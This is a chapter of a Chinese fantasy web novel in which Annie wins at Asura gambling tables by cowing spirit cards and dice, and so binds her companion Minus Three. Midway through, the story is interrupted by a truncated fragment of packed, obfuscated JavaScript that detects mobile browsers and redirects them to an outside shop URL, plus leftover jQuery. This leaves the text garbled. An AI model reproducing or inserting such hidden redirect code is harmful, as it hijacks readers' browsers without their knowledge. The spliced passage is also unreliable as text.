这个赌桌的规则是比大小,操作非常简单。
就是两个骰子,分为左右,先押左大还是右大。下注以后由主持人开始分别扔两个骰子,最后比对大小。
概率都是一样的,安妮尝试着下了左边。
“左!左!左!”
“右!右!右!”
阿修罗还是不住欢呼着,只是这一次,安妮加入了祈祷的行列。她没有大喊出声,只是心里默念着,一定要是左。
负责主持的阿修罗同时甩了左右两边,也没有故意制造悬念的意思,直接两边同时打开。
左“5”右“1”,左赢了!
安妮学着旁边胜利的人,将自己押的注和赚的金币收回。
不知为何,这些阿修罗似乎都只下一个金币,她也就先下了一个金币试水。此时赢了,也只赢到了一个金币。
赌局再次开始,又是哗啦啦的金币被摆放成堆。
虽然很多,但其实每个阿修罗就只给了一个金币,很少遇到有给两个的。
速度有些慢,安妮能确定之前遇到过阔绰的阿修罗,桌子上的金币几乎堆成小山,因此,她决定换个目标。
要看哪个桌子上金币多很简单,安妮很快就找到了一个赌桌。
这个赌桌的规则要复杂些,安妮看了许久才学会。二十一点,简单来说就是参加的阿修罗先押注,然后每个阿修罗都得到两张扑克牌,接着他们会选择继续摸牌或者就此停止。
超过二十一点的阿修罗视为爆炸,最接近二十一点的阿修罗获胜,在中间的阿修罗照样是输。
因此,阿修罗们基本都会选择摸牌。
安妮这次下了五个金币,这是负三号手里的一半,却是这张牌桌的入场券。
是的,每个牌桌上的玩法不一样,下注和收取的方式也不一样,这张赌桌玩法是二十一点,押注方式是每人五个金币,而胜利的一方,就可以获得所有赌注!
游戏开始,她紧张地查看自己的牌:一张“7”,一张“5”。
根据经验,还可以再摸。
安妮又摸了一张,“3”。
这个数字不大,但再摸下去又很容易炸。安妮纠结片刻,最后还是决定继续。
没想到,下一张是“6”!
正好二十一点!
自己旁观了不下十场牌局,可是凑齐二十一点的寥寥无几,安妮没想到自己也能成为那个幸运儿。
最关键的是,二十一点必定获胜,就算和谁打成平手,也能得到一半的金币!
事实证明,好运并不是大白菜。阿修罗们最高点数才十九点,安妮轻而易举获得了胜利。
她在阿修罗的欢呼声中再次下注,投入新一轮的征伐。
输,很正常,再来就是了。
只要赢了,赚取的远远能够弥补这点损失。
你来我往,安妮沉浸在赌局中,时间很快过去……
就在她又要开始下一轮游戏的时候,旁边的负三号忽然也挤了上来。他看着安妮,语气坚定道:“给我金币,我也要加入。”
“什么?”
负三号因为慕强意识的影响,一直跟在她身边,寸步不离,连说话都很少。可是现在,他却主动找自己提要求——应该是觉醒下一段意识了。
这么快的吗?还是说,自己玩得太久了?
安妮看了看手里的金币,才几十枚,和一开始参加游戏的时候差别并不大。
最初自己赢的次数确实很多,但后来越来越少,反而把赢来的都输进去了。只是胜利的收获太大,对比之下输的又不是那么多了。
周而复始,无穷无尽。
根本没办法得到所有金币!
“你还有多少金币?还给我,我也要去。”
安妮确信负三号是不会沉迷赌博的,所以他现在应该是觉醒了族群意识,想要合群。只是,这金币当然不能给他。
“你跟着我,金币会有的。”
到底是提醒了自己,安妮也没对负三号太过察言厉色。
继续赌博是不现实的,她开始思考别的办法。
就在安妮带着负三号边走边想的时候,忽然又看到一只黑漆漆的手伸向赌桌。
她立刻上前,想抓住那个小偷。
这绝对是和负三号一样的突破点!
然而这个阿修罗似乎格外聪明,察觉到安妮朝自己跑来,他便收了手,融入杀红眼的阿修罗中,一起嘶吼,把桌子拍得震天响。
安妮赶到的时候,看见的只有一个个无比相似的阿修罗。
那个阿修罗的反应不是负三号能比的,无论是身体,还是脑子。
这让安妮不得不怀疑,也许,负三号属于那些聪明阿修罗里的笨蛋。
不论如何,一定要找到他!安妮握拳,视线在牌桌上逡巡。
这些阿修罗不赌到最后一刻不会罢休,离开的必定有问题,她就不信找不出那个阿修罗。
然而,就在安妮聚精会神盯着桌面的时候,身边忽然传来响动。她赶忙回头,果然,负三号想要离开!
就算如今的他没有自由意识,潜意识里也想要摆脱自己加入族群。
安妮拉住负三号的衣角,再回头,就感觉赌桌上的布局变了。
还是让那个阿修罗跑了。
不过没关系,至少负三号没跑,安妮很清楚不能因小失大。
考虑到负三号之后肯定会反抗,安妮决定暂时离开赌场,去找一根结实点的绳子。
她随便选了个方向前进:其实只要对比一下赌桌上的金币多少,很容易就能找到出口。
只是没想到,走到边缘线以后,负三号却卡住了。
就像是撞上了一面空气墙,无法行走。
安妮没办法,想了想,只能将兜里的金币给他,指着距离最近的赌桌道:“去那里玩吧。”
负三号顿时眉开眼笑,拿着金币走了。
安妮不敢耽误,确定负三号所在的赌桌位置,便立刻朝外跑去。
过了一会儿,她终于再次看到了卜拉克的木头人。
“请你给我一根绳子!”
木头人意识和卜拉克相通,应该能转达。
果然,为首的木头人眼睛闪了闪,随后僵硬地点头。
但安妮等了许久,都没有等到绳子,而是等到了莫斯卡。
见莫斯卡手上没有绳子,安妮疑惑了。
“这是……”
“抱歉,我要很遗憾地通知你,如果你的绳子是用于黑暗领域二层的阿修罗身上的话,恐怕不行。”
“为什么?”
“它们都是以灵魂的方式存在的,虽然能够触摸到,但那只是因为你进去的时候是魂体。而想束缚它们,需要一根灵魂做的绳子。”
“那……”
“我们当然没有。”
“哪有?我可以去找!”
只要快一点,应该来得及。
负三号觉醒意识的时间明显是越来越长的,之前她浪费了很多时间,好在推算下来至少还有十多天。
“你找我们拿绳子,是为了做什么?”
“就像你说的,束缚一个阿修罗。我现在让他在一个区域活动,但是不知道过多久,他就会离开。”
“这好办,只要让它听你的话就好了。”
“可是他会觉醒自由意识的……总之,他不可能一直听我的话——不然我也不会想办法找你们要绳子了。”
“是么?看来你还没有摸清黑暗领域二层的规则。——我以为你已经知道了呢。”
“什么规则?”
“你有尝试过完全胜过一个阿修罗吗?将它的金币赢完的那种。”
“我……想过,但是没有。”
赌桌上有输有赢,后期的她甚至快要倒贴,哪里有机会完全赢过谁?正是连这一点都没做到,安妮才觉得时间都被浪费了。
“你是说,将他们完全压制取胜,就能得到这个阿修罗的控制权?”
“也不完全是……但总之,赢完那个阿修罗的金币,会有你想要的结果。”
“我明白了!但是,我的牌技其实并不高超……你有什么技巧吗?”
“玩牌?这可是卜拉克的拿手技能啊。或许,你可以去找她探讨一下。磨刀不误砍柴工,不是么?”
“带路。”
安妮和莫斯卡赶到王宫的时候,桌子上已经放了三个骰子。
卜拉克面色冷淡,拿着和骰子中点一样颜色的扑克牌在手里耍弄。她的手指灵活,不知怎么操作,扑克牌在她手中便被洗得哗啦啦作响。
她甚至将扑克牌丢到空中,从下方接住,纸牌连成一条直线,没有断开,也没有抛撒。
“你还是这么喜欢花里胡哨的东西。”
莫斯卡说完,示意安妮坐在旁边,她则挨着安妮坐下。
“学牌?”
“嗯……”
安妮点点头,有些拘谨。
卜拉克直接开始教学,缓解了尴尬:“无论是灵牌还是灵骰,其实都是有灵的,只要控制了其中的灵,想要改变数字自然是轻而易举。”
“控灵?”
安妮还以为卜拉克会教学黑暗中如何悄悄行动,看牌换牌,没想到,手段竟然这么简单粗暴。
“你如果想和我一样,做到在黑暗中神不知鬼不觉地用物理手段换牌换点数,也不是不可能,但十多天的时间,恐怕来不及。”
所以只能走捷径。
“下面,我就教你,怎么感知牌灵。你要做的,就是恐吓它、收服它,让它为你所用。”
“什么?”
安妮愣了一下,随即被卜拉克抓住手腕。一股阴冷的黑暗之力传来,一直汇聚到眼球上。安妮忽然感觉卜拉克手里的牌有了五官,每一张都凶神恶煞龇牙咧嘴。
她正疑惑着,就听到了鬼牌的声音。
沙哑粗糙,但又带着孩童般的顽劣:“这次换成什么点数?女王没有告诉我们,完了完了,没猜到她心思的话不会被打吧?”
“救命啊!我不要被打啊!你们快想想办法!”
五十四张灵牌七嘴八舌,但都带着恐惧。
他们似乎意识不到自己的存在。
安妮试探性开口:“你们好,打扰?”
灵牌安静下来,看着安妮,沉默了两秒。
随后,为首的灵牌爆发出尖利的笑声:“哈哈哈哈兄弟们,你们听见了吗?她说‘你们好’!这个小屁孩儿在对我们问好!”
“我不是小屁孩。”
安妮皱眉,但谨慎的性格和温柔的脾性让她没有立刻生气。
灵牌们似乎知道了面前人的性格,全都哈哈大笑起来。直到卜拉克的手将扑克牌收起,在桌子上敲了敲。
很简单的动作,灵牌们却瞬间静若寒蝉。
“放心,它们的实力,没有你的万分之一。”
卜拉克说完,直接将灵牌甩给安妮。
整副牌牢牢地黏在一起,就像一块小砖。安妮正想接过,忽然看见背面最上方的那张灵牌张开了血盆大口。
她悄悄将寒焰的力量灌注手指,拿过灵牌。
正如卜拉克所说,这灵牌没有一点攻击力,她的手指被咬着,却没有任何感觉。
“哈哈哈终于摆脱女王了!!我们自由了!你休想再控制我们!”
灵牌还在叫嚣,安妮思考片刻,指尖燃起寒焰。
寒焰乃是世间极寒极热的火焰,能够将灵魂焚烧得一干二净。即使指尖上的火苗只有豆大一点,灵牌还是瞬间安静了下来。
可惜,晚了。
安妮直接将寒焰甩到咬自己的灵牌上,尖叫声立刻响起,震耳欲聋。
“灵牌少一张,整副牌都会消失。”
卜拉克忽然道。
安妮的动作停下,吞噬了灵牌一个角的寒焰瞬间熄灭。紧接着,整副牌的光泽都降低了一点,而那张牌的角也长了出来。
“灵牌的能量是有限的,它们补充了缺漏的角,自身实力就要下降。”
“哦……”
安妮似懂非懂地点头。
还是认真听讲的乖学生模样,灵牌却再也没有看轻她的意思。甚至原来吵吵嚷嚷的牌都闭紧了嘴巴,生怕成为下一个倒霉鬼。
虽然疗伤用的是整副牌的能量,但疼痛是只有被烧的牌感觉到的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296880|198573||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“现在,你可以命令它们了。”
卜拉克说完,拿起安妮手里的牌做了个示范。
她把一张灵牌放在桌子上:“这是5。”
翻开,果然是“5”。
“这是7,这是9……这是红桃,这是黑桃……”
不管是详细的数字还是模糊的花纹,翻开的灵牌都能符合。
“这是红桃三,这是红桃三,这是红桃三……”
一排灵牌,翻看全都是一模一样的红桃三。
这作弊的场景让安妮目瞪口呆。
“阿修罗不会发现问题吗?”
“要看它们的智商。”
卜拉克说完安妮就懂了:像是负三号那样的阿修罗就可能察觉出不对劲,但是别的阿修罗还没这个能耐。
只要不是把两张牌大大咧咧摆在他们面前就行了。
扑克牌尝试完,还有骰子。不过这一次,安妮还没有展示出寒焰,骰子就已经乖乖就范。
它可是目睹了自家牌兄的惨状。
寒焰确实好用,但我总不能直接在负三号面前展示,威胁灵骰就范……安妮摸着下巴,问道:“女王,可以告诉我,你是怎么收服这副牌和骰子的吗?”
“哦?很简单啊。”
卜拉克说着,拿起一张灵牌,直接撕开。接着,拿出一颗骰子放桌上,一掌下去。
灵牌和骰子再恢复,光芒又暗淡了一些。她看在眼里,指尖浮出些黑暗之力,输送给它们。
不能玩死了,毕竟是主人给的东西。
“手段很实用,不过注意分寸,黑暗领域二层的东西都很宝贵,伤了碰了,我也不知道会发生什么。”
“好,谢谢。”
安妮点头。
“学完了?那就回去了吧。”
莫斯卡伸了个懒腰,继续带路。
安妮回到黑暗领域第二层的时候,负三号已经彻底融入同伴当中。
她也不着急,暗中尝试恐吓了灵骰几次,确定没问题,才开始寻找负三号。
好在她还记得负三号参加的是什么游戏,加上询问阿修罗的号数进行推理,很容易就能找到负三号。
看见负三号的时候,他已经杀红了眼,和那些阿修罗一样拍着桌子,扯着嗓子,兴奋得让人惶恐。
安妮将负三号拎出来,他立刻开始剧烈挣扎。可惜这点力气在安妮手中根本不够看,直接被提溜到了一旁的空地上。
“战果怎么样?”
“你要做什么?”
自己走的时候把全部金币都给了负三号,现在当然要拿回来。不过想到莫斯卡的提醒,安妮并没有拿走所有金币。
数了数,给他留了二十枚,安妮微微一笑:“边缘的赌桌只有比大小,不好玩,咱们去远一点的牌桌怎么样?”
牌桌的规则普遍比骰子的赌桌复杂,但赌注也大。
“可以可以!”
安妮于是领着负三号前往远处的赌桌。
期间,负三号看着周围的场景,有一点逃跑的念头就被安妮拉回。他最后只能心无旁骛地赶路,期待早点到地方。
“就前面那个吧!”
安妮看着熟悉的二十一点,激动道。
熟悉的规则,但这一次参加的条件变成了二十枚金币,当然,这只是门槛,你也可以多加。
至少安妮就看见不少阿修罗多投入了很多金币,但她不知道为什么。
“咱们一局定胜负如何?你压上所有,我也一样。”
“好。”
负三号将所有金币拍在桌子上,然后开始拿牌。
安妮也把金币堆好,然后捏紧灵牌,用卡牌挡住自己的动作。之后,她指尖燃起寒焰:“我要一个七,一个八。”
事实证明,寒焰就是灵魂的克星,之前那副灵牌已经告诉她最简单的办法,安妮当然不打算用别的方式。
果然,灵牌的牌面开始改变,变成了一张“7”一张“8”。
安妮在牌堆里又摸了一张,嘴里说着:“我猜这个一定是6吧。”
拿来一看,是6。
若放在其他种族上面,必定会察觉到不对劲,但这些黑暗阿修罗并不在意安妮说的话。他们眼里只有赌,也只有输赢。
而很明显,安妮赢了。
“不!”
负三号大喊一声,随后一闪,收缩成一张卡牌。
安妮眼疾手快,将那张牌拿到。
和自己观察到的一样,正面彩色,背面黑白,右下角写着数字。拿到卡牌的一瞬间,安妮似有所感,将卡牌再次掷出,心念一动,负三号出现。
他环顾四周,似乎有些迷茫自己的处境。看见安妮,他眼神微变,随后道:“主人,你要让我做什么?”
主人?
自己这样,就算是收服负三号了?
安妮想到负三号的牌,决定再尝试一下。她还有很多疑惑没有解开,但不能拿负三号做实验。
“你跟着我。”
“好的。”
负三号说完,站到安妮身后。安妮确定他不会离开之后,朝着最近的牌桌走去。
还是二十一点,还是那副牌,还是同样的碾压式胜利。但赌桌上的阿修罗没有丝毫怀疑,还是给着金币,继续游戏。
又过了几轮,几个阿修罗的金币同时用完,听见熟悉的惨叫,安妮立马收起几张卡牌。
一共四张。
这次的号数很小,负七万三千六百五十二,负七万三千六百五十三,负七万三千六百五十四,负七万三千六百五十五。
四张牌除了数字,正面的颜色也有差距,两张红的,两张蓝的。
安妮摸索着卡牌,正面光滑整洁,背面的数字上却有一点凸起的颗粒。就像在手指上捻摩沙子,质感很明显。
直觉告诉她,这些凸起是可以扣掉的,但现在的自己弄不掉。
甚至,她尝试着撕扯鬼牌,也不行。
安妮的力气毋庸置疑,那么只有一种可能了:这是真的鬼牌。
不容破坏,也无法被破坏。
那么这样的鬼牌,一共有多少张呢?安妮拿着手里的四张牌,朝着更深处走去。